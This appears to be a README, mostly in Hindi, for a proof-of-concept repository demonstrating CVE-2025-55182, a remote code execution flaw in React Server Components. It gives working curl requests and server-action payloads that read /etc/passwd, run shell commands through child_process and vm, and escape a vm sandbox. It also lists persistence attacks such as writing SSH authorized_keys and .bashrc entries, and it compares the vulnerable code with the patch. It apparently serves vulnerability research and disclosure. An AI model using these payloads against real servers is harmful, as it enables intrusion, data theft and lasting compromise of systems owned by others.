
यह POC वास्तविक [email protected] भेद्य कोड का उपयोग करके CVE-2025-55182 प्रदर्शित करता है।
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
# Exploits
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| फ़ाइल | पोर्ट | विवरण |
|---|---|---|
src/server-realistic.js | 3002 | मुख्य सर्वर - सामान्य मॉड्यूल (fs, vm, child_process) के साथ वेबपैक बंडल का अनुकरण करता है |
src/server.js | 3002 | लीगेसी सर्वर (प्रत्यक्ष require का उपयोग करता है) |
| फ़ाइल | विवरण |
|---|---|
exploit-rce-v4.js | प्राथमिक RCE vm#runInThisContext के माध्यम से |
exploit-all-gadgets.js | सभी RCE गैजेट्स का परीक्षण करता है (vm, child_process, fs) |
यह एक वास्तविक वेबपैक बंडल का अनुकरण करता है जहाँ ऐप्स आमतौर पर निर्भरताओं के माध्यम से खतरनाक मॉड्यूल बंडल करते हैं:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
__webpack_require__ फ़ंक्शन केवल BUNDLED_MODULES से मॉड्यूल लोड करता है, जो वास्तविक वेबपैक व्यवहार का अनुकरण करता है।
requireModule() में, एक्सपोर्ट्स को hasOwnProperty जाँच के बिना ब्रैकेट नोटेशन के माध्यम से एक्सेस किया जाता है:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 भेजेंid: 'vm#runInThisContext' vm मॉड्यूल लोड करता है, runInThisContext एक्सपोर्ट तक पहुँचता हैbound ऐरे फ़ंक्शन के तर्क बन जाता हैrunInThisContext(CODE) मनमाना कोड निष्पादित करता हैशेल कमांड निष्पादित करें (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
संवेदनशील फ़ाइलें पढ़ें:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
डिस्क पर फ़ाइलें लिखें:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
मनमाना JavaScript निष्पादित करें:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
सैंडबॉक्स एस्केप (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
प्रत्यक्ष RCE के लिए: हाँ, आपको इनमें से एक चाहिए:
vm मॉड्यूल (runInThisContext, runInNewContext)child_process मॉड्यूल (execSync, execFileSync, spawnSync)अप्रत्यक्ष RCE के लिए (केवल fs): नहीं! केवल fs के साथ आप यह कर सकते हैं:
~/.ssh/authorized_keys में लिखें → SSH पहुँच~/.bashrc में जोड़ें → अगले लॉगिन पर कोड निष्पादनnode_modules/* को अधिलेखित करें → ऐप पुनरारंभ पर RCEpackage.json postinstall संशोधित करें → अगले npm install पर RCE| संस्करण | हमला | परिणाम |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE प्राप्त हुआ |
| React 19.2.1 | vm#runInThisContext | ✗ अवरुद्ध |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
लोकप्रिय npm पैकेजों पर शोध के लिए VULNERABLE-PACKAGES.md देखें जिनमें खतरनाक मॉड्यूल शामिल हैं:
| मॉड्यूल | साप्ताहिक डाउनलोड | लोकप्रिय पैकेज |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
exploit-persistence.js | पर्सिस्टेंस अटैक (SSH कुंजियाँ, .bashrc) |
| गैजेट | स्थिति | विवरण |
|---|
vm#runInThisContext | ✓ | वर्तमान संदर्भ में मनमाना JS निष्पादित करें |
vm#runInNewContext | ✓ | सैंडबॉक्स में निष्पादित करें (आसानी से बच निकला जा सकता है) |
child_process#execSync | ✓ | सीधे शेल कमांड निष्पादन |
child_process#execFileSync | ✓ | बाइनरी फ़ाइलें निष्पादित करें |
child_process#spawnSync | ✓ | प्रोसेस स्पॉन करें (ऑब्जेक्ट लौटाता है) |
fs#readFileSync | ✓ | मनमानी फ़ाइलें पढ़ें |
fs#writeFileSync | ✓ | मनमानी फ़ाइलें लिखें |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |